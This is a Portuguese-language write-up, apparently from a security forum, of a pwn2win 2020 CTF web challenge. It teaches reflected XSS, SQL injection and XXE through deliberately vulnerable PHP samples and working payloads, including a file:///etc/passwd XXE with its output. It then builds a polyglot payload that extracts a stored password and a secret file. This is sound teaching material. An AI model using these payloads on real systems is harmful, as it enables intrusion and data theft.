Jump to content
  • Payload to rule them all

       (0 reviews)

    brenocss
     Share

    Hoje iremos acompanhar um writeup de um desafio do pwn2win 2020, criado pelo Caio Lüders, que nos permite aprender 3 vulnerabilidades conhecidas (XSS, SQL INJECTION e XXE) e categorizadas no OWASP Top 10 como Injection (top 1) e XXE (top 4).
    Para isso, vamos entender as vulnerabilidades envolvidas separadamente e depois explorar no desafio.

    O que é Reflected XSS

    Cross Site Script Refletido (Reflected XSS) é uma vulnerabilidade que explora a injeção de códigos na resposta HTTP que podem estar refletidos em diferentes contextos HTML e permitem execução de código JavaScript.

    Código vulnerável:

    ### Contexto de html
    <?php
            $nome = $_GET["nome"]; // Guarda o valor do parametro nome na variavel nome
            print '<h1>ola ' . $nome .'<h1>'; // Retorna no html <h1> ola $conteudo da variavel nome$ </h1>
    ?>

    O código PHP é vulnerável à XSS já que todo o conteúdo passado no parâmetro nome é retornado, sem sanitização, no HTML da página. Ou seja, se conseguimos injetar qualquer tag HTML podemos utilizar alguma tag que execute JavaScript (<script>alert(1)</script>, por exemplo) ou podemos utilizar tags com eventos (<img src=x onerror=alert(1)/>) como uma forma de executar JavaScript.

    XSS:

    http://localhost:8000/xsshtml.php?nome=<script>alert(1)</script>
    http://localhost:8000/xsshtml.php?nome=<img src=imageminvalida onerror=alert(1)>

    Código vulnerável:

    ### Contexto de atributo
    <?php
         $img = $_GET["img"]; // Pega o valor do parâmetro "img" e guarda dentro da variável "$img"
          print '<img src="' . $img .'">'; // Retorna no HTML da página <img src="CONTEUDO DA VARIAVEL $img">
    ?>

    Percebemos que o servidor está inserindo o parâmetro img dentro do atributo src da imagem. Uma maneira que podemos transformar isso em um XSS é fechar o atributo e a tag com “> e inicializar outra tag que execute JavaScript, <img src=x onerror=xss>, por exemplo. Outro caminho é injetar outro atributo que execute JavaScript.

    XSS:

    http://localhost:8000/xssatributo.php?img="><img src=imageminvalida onerror=alert(1)>
    http://localhost:8000/xssatributo.php?img=imageminvalida" onerror=alert(1)//

    Código vulnerável:

    ### Contexto de códigos JavaScript
    <?php
            $nome = $_GET["nome"]; // Pega o valor do parametro "nome" e guarda na variavel $nome
            print '<body>'; // Adiciona a tag <body> no HTML
    
            print '<script>nome=\'' . $nome .'\';console.log(nome)</script>'; // adiciona o <script>nome=COUNTEUDO DA VARIAVEL $nome;console.log(nome)</script> no HTML da pagina
    
            print '</body>';// adiciona tag </body> para fechar a tag no html
    ?>

    Para explorar o XSS com o payload teste'-alert(1)// fechamos a String nome com ' . Fizemos a operação de subtração para executar o JavaScript e comentamos o código restante com //.

    XSS:

    http://localhost:8000/xssjavascript.php?nome='-alert(1)//

     

    O que é SQL Injection

    SQL Injection é uma vulnerabilidade que explora como uma query SQL é montada e enviada para ser executada. Muitas vezes o desenvolvedor utiliza as entradas do usuário diretamente na query que será executada para fazer a consulta SQL sem nenhuma forma de tratamento.

    Código vulnerável:

    $usuario = $_POST['usuario'];
    $senha = $_POST['senha'];
    $sql = "SELECT * FROM usuarios WHERE usuario = '".$usuario."' AND senha = '".$senha."' ";
    $processa = mysql_query($sql);

    Explorando SQL Injection

    No exemplo abaixo temos uma consulta normal de SQL com as entradas usuais de um usuário :

    $usuario = "epicleetteam";
    $senha = "admin";

    Com as entradas acima a consulta SQL resulta no seguinte:

    SELECT * FROM usuarios WHERE usuario = 'epicleetteam' AND senha = 'admin'

    Demonstrando agora o que acontece quando enviamos entradas com aspas simples:

    $usuario = "epicleet'team";
    $senha = "admin";

    Com as entradas acima a consulta SQL resulta no seguinte:

    SELECT * FROM usuarios WHERE usuario = 'epicleet'team' AND senha = 'admin'

    Podemos notar que a aspa simples quebra a query e nos permite escapar da string e gerar um erro de sintaxe. Como escapamos da string conseguimos executar qualquer comando SQL.

    Exemplo executando o comando sleep para evitar o erro de sintaxe utilizamos o # para comentar o resto da query:

    $usuario = "epicleetteam' union select sleep(5)#";
    $senha = "admin";
    SELECT * FROM usuarios WHERE usuario = 'epicleet' union select sleep(5)#' AND senha = 'admin'

     

    O que é XXE

    XML External Entity (XXE) é uma característica do XML que nos permite criar uma referencia de um dado. Esse dado pode ser local ou remoto. Com isto a entidade passa a ter o valor contido no endereço referenciado e ao ser chamada retorna os dados desse endereço.

    Exemplo com arquivo local:

    <?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [
    <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>

    Saída:

    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    sys:x:3:3:sys:/dev:/usr/sbin/nologin
    sync:x:4:65534:sync:/bin:/bin/sync
    games:x:5:60:games:/usr/games:/usr/sbin/nologin
    man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
    lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
    mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
    news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
    uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
    proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
    www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
    backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
    list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
    irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
    gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
    nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
    _apt:x:100:65534::/nonexistent:/usr/sbin/nologin
    messagebus:x:101:101::/nonexistent:/usr/sbin/nologin
    gnx:x:999:999::/home/gnx:/bin/sh

    Exemplo com arquivo externo:

    <?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [  
    <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "https://epicleet.team/robots.txt" >]><foo>&xxe;</foo>

    Vamos ao desafio

    A ideia do desafio era explorar todas essas vulnerabilidades em uma única requisição. Sendo assim, a sua requisição precisa ser poliglota (ser entendida em diferentes contextos) e evitar com que uma exploração não atrapalhe a outra. Para começar escolhemos o SQL Injection.

    Para elaboração do payload separamos a resolução em 3 partes: SQLi, XXE e por fim XSS+XXE+SQLi.

    Código Fonte do desafio: https://github.com/pwn2winctf/challenges-2020/blob/master/web-A payload to rule them all/deploy/server/script/test_payload.js

    SQL Injection

    Os trechos destacados são responsáveis pela vulnerabilidade de SQL Injection e por validar caso ele tenha obtido sucesso. Depois disso, o desafio avalia se a saída da consulta do SQL possui a password do usuário. OBS: ${payload} é a entrada do atacante.

    Trecho do desafio vulnerável a SQL Injection:

    const sqli = await query(`SELECT * from posts where id='${payload}'`) //<- monta a query enviada para o sql
    await connection.end()
    return JSON.stringify(sqli).includes(users[0]["password"])    //<- Verifica se password esta no retorno da query

    Para retornar o conteúdo do password na query do SQL utilizamos o operador UNION.

    O operador union combina os resultados de duas ou mais queries em um único resultado, retornando todas as linhas pertencentes a todas as queries envolvidas na execução. Para utilizar o UNION, o número de colunas precisa ser idêntico em todas as queries.

    Sendo assim, começaremos descobrindo o número de colunas pela técnica baseada no tempo. Iremos variar a quantidade de colunas utilizando N vezes a palavra null e o comando sleep(5) para criar o delay. Desta forma verificaremos se a resposta foi impactada pelo delay (deu certo) ou não (deu errado):

    'UNION SELECT sleep(5)# (não demorou)
    'UNION SELECT sleep(5),null#  (não demorou)
    'UNION SELECT sleep(5),null,null#(demorou)

    Para confirmar que são exatamente 3 colunas adicionamos mais uma coluna e se não demorar garantimos a quantidade 3 de colunas

    'UNION SELECT sleep(5),null,null,null#  (não demorou)`

    Sendo assim, ao obter o numero de colunas correto podemos retornar o conteudo da senha com esse payload final

    'UNION SELECT null,null,(select password from users)#

    E assim fica a query executada pelo SQL:

    SELECT * from posts where id=''UNION SELECT null,null,(select password from users)#'

     

    XXE

    Trecho do desafio vulnerável a XXE:

    var my_secret = Math.random().toString(36).substring(2) ;//<- Gera numero aleatorio
    fs.writeFileSync("/home/gnx/script/xxe_secret",my_secret) //<- Escreve esse numero aleatorio no arquivo xxe_secret
    var doc = libxml.parseXml(payload, { noent: true ,nonet: true })// <- recebe as entradas do atacante e parseia o xml
    return doc.toString().includes(my_secret) //<- verifica se o conteúdo do arquivo my_secret aparece no retorno do xml

    Para o ataque de XXE somente utilizei o payload conhecido de leitura de arquivo

    <?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///home/gnx/script/xxe_secret’>]><root>&test;</root>

    Porém para não atrapalhar o SQL Injection substituímos as aspas simples por aspas duplas.

    Assim ficamos com um payload poliglota que explora XXE e SQLi.

    Payload de XXE+SQLI:

    <?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM "file:///home/gnx/script/xxe_secret">]><root>&test;</root>'UNION SELECT null,null,(select password from users)#

    XSS+XXE+SQLI

    A parte do XSS, supostamente mais simples, já que seria só definir a variável xss com o payload "xss=1", tornou-se a mais complicada pois era afetada pelos outros payloads, que acarretavam erros de sintaxe JavaScript.

    Trecho do código vulnerável:

    payload = sanitizeHtml(payload,{allowedTags:[]}) // <- Recebe a entrada do usuario e sanitiza com a funcao sanitizeHtml
    await page.goto(`data:text/html,<script>${payload}</script>`) // <- Coloca o conteudo sanitizado dentro da tag <script>
    const check = await page.evaluate("( typeof xss != 'undefined' ? true : false )") //<- verifica se a variavel xss esta definido

    Como todo o payload era passado em uma lib de sanitização antes de ser injetado no  browser (data:text/html,<script>${payload}</script>), deveríamos utilizar essa lib ao nosso favor para forçar a remoção do conteúdo dos outros ataques que atrapalham criar um JavaScript válido. Uma das remoções da lib é a de comentários. A lib  também remove todas as tags HTML. Sabendo disso, vamos usar essas características e juntar as vulnerabilidades. Exemplo:

    <tag aleatoria> é removido
    <!--é removido -->

    Remover o SQLl Injection do payload de XSS é bem fácil já que podemos injetar qualquer conteúdo antes das aspas simples precisando somente ser diferente de aspas simples e injetar qualquer conteúdo depois do comentário.

    SQL Injection com comentários do HTML:

    <!--’UNION SELECT (select password from users),null,null#-->

    Payload invalido com Sql Injection + XXE + XSS:

    <?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM "file:///home/gnx/script/xxe_secret">]><root>xss=1//&test;</root><!--'UNION SELECT null,null,(select password from users)#-->

    A lib sanitizehtml, ao interpretar boa parte do conteudo xml como tag html, remove a maior parte da string.

    Partes restantes do payload depois do sanitize:

    ]>xss=1//&test;

    Erro ao acessar data:text/html,<script>]>xss=1//&test;</script>:

    Uncaught SyntaxError: Unexpected token ']'

    Percebemos que o conteúdo do xml estava atrapalhando o código JavaScript ao ser executado sem erros no browser. Para escapar criamos uma entidade <!ENTITY apagar SYSTEM "teste>/*"> com o conteúdo teste> para a lib remover algumas partes do xml.

    No entanto restaram alguns caracteres que estavam gerando o erro de sintaxe comentado anteriormente.Para isso utilizamos o comentário do JavaScript /* */ para comentar os caracteres “]> e o // para comentar todo o resto do payload.

    Payload Final usando comentário javascript:

    <!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///home/gnx/script/xxe_secret"><!ENTITY apagar SYSTEM "teste>/*">]><root>*/xss=1//&xxe;</root><!--' union select (select password from users),null,null

    Outra maneira era utilizar o CDATA para injetar esses caracteres especiais < e colocar o xss dentro de uma entidade do xml. O CDATA é importante pois na ausência do CDATA eles seriam interpretados pelo xml parser e teríamos problemas com o xxe.

    Payload Final

    <!DOCTYPE root [<!ENTITY test SYSTEM "file:///home/gnx/script/xxe_secret"><!ENTITY x "<![CDATA[ < ]]>xss=1//" >]><root>&test;</root><!--' union select (select password from users),null,null#-->

    Revisão: Leandro Fróes
    • Agradecer 1
    • l33t 1
     Share


    User Feedback

    Join the conversation

    You can post now and register later. If you have an account, sign in now to post with your account.
    Note: Your post will require moderator approval before it will be visible.

    Guest

    • This will not be shown to other users.
    • Add a review...

      ×   Pasted as rich text.   Restore formatting

        Only 75 emoji are allowed.

      ×   Your link has been automatically embedded.   Display as a link instead

      ×   Your previous content has been restored.   Clear editor

      ×   You cannot paste images directly. Upload or insert images from URL.


  • Similar Content

×
×
  • Create New...